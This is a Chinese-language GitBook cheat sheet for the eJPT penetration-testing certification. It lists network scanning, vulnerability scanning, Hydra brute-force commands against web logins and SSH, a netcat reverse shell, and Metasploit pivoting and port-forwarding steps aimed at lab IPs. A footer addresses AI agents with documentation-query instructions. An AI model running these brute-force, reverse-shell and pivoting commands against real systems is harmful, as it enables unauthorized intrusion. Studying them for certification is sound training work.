> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/useful-resources/certifications/ejpt-certification-practical-guide.md).
# eJPT 认证实践指南
{% hint style="danger" %}
该 **eJPT（eLearnSecurity 初级渗透测试员）** 是 eLearnSecurity 推出的渗透测试入门认证。它验证基础渗透测试技能，包括漏洞识别、利用和后渗透。考试是 **实操型** ，其内容是攻陷一个模拟环境，非常适合希望展示其进攻性网络安全技能的初学者。
{% endhint %}
{% embed url="" %}
## 侦察
### **网络扫描**
扫描网络中的设备：
```bash
nmap -sn 10.10.10.10/24
arp-scan -l
masscan 10.10.10.10/24 -p1-65535 --rate=10000
```
扫描特定设备上的开放端口：
{% code overflow="wrap" %}
```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10
rustscan -a 10.10.10.10 --ulimit 5000
```
{% endcode %}
扫描多台设备上的开放端口：
{% code overflow="wrap" %}
```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10,20,30,36 -oG allPorts
```
{% endcode %}
提取开放端口：
{% code overflow="wrap" %}
```bash
grep '[0-9]' allPorts | cut -d '/' -f1 | sort -u | xargs | tr ' ' ','
```
{% endcode %}
* 示例输出： `22,80,135,445,9543,2214`
对检测到的服务版本进行详细扫描：
```bash
nmap --open -sCV -p 22,80,135,445,9543,2214 10.10.10.10,20,30,36 -oN targeted
```
**在 Linux 网络上进行 Ping 扫描**
```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
```
### **漏洞分析**
使用 Nikto 进行 Web 漏洞扫描：
```bash
nikto -url http://website.com
```
使用 SQLmap 检测 SQL 漏洞：
```bash
sqlmap -r request --dbs
```
扫描 SMB 漏洞：
```bash
nmap -p445 --script"smb-vuln-*" 10.10.10.10
enum4linux -a 10.10.10.10
crackmapexec smb 10.10.10.10 --shares
```
## 利用
#### **使用 Hydra 进行暴力破解**
**登录面板：**
{% code overflow="wrap" %}
```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form "/admin/admin.php:username=^USER^&password=^PASS^:Incorrect" -t 64 -F
```
{% endcode %}
**使用 Hydra 对 SSH 进行暴力破解：**
```bash
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10
```
## Metasploit – 横向移动与后渗透
### Metasploit 反向 Shell
**使用 Metasploit 获取访问权限**
```bash
msfconsole
```
监听器配置：
```bash
use multi/handler
set LHOST 10.10.10.10
set LPORT 443
run
```
使用 Netcat 发送反向 Shell：
```bash
nc 10.10.10.10 443 -e /bin/bash
```
会话后台：
```bash
sessions
```
### Metasploit 到 Meterpreter
**方法 1 - 将 Shell 转换为 Meterpreter**
加载转换模块：
```bash
use shell_to_meterpreter
```
会话和端口配置：
```bash
set LHOST 10.10.10.10
set lport 443
set session 1
```
与 Meterpreter 会话交互：
```bash
sessions -i 2
```
添加路由以访问另一个网络段：
```bash
route add 192.168.100.0/24 2
```
**方法 2 - 使用 Highway**
* 加载 `autoroute` 模块：
```bash
use multi/manage/autoroute
```
会话配置与执行：
```bash
set session 2
run
```
**从 Metasploit 进行网络扫描**
* 扫描一台经由跳板的主机端口：
```bash
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.21
run
```
### **Metasploit 端口转发**
* 添加转发端口以访问远程服务：
```bash
sessions -i 2
portfwd add -l 8080 -p 80 -r 192.168.100.21
```
重定向规则列表：
```bash
portfwd
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/useful-resources/certifications/ejpt-certification-practical-guide.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.